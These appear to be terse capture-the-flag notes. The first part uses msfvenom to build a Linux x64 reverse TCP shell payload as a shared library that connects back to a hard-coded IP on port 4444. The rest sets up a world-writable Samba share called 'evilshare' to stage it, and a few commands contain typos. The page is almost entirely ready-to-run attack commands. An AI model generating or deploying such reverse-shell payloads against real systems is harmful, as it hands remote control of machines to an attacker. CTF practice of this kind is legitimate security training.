msfvenom

// Some code
msfvenom -p linux/x64/shell/reverse_tcp LHOST=31.201.197.47 LPORT=4444 -f so > shell-x64.so



 msfvenom -p linux/x64/shell/reverse_tcp LHOST=31.201.197.47 LPORT=4444 -f elf-so -o shell-x64.so



sudo apt install samba
sduo /etc/samba/smb.conf

[evilshare]
path = /home/kali/just-ctf/share
browseable = yes
read only = no

sudo chmod -R 777 /home/kali/just-ctf/share
sudo service smbd start
sudo service nmbd start
sudo service smbd status
sudo smbpasswd -a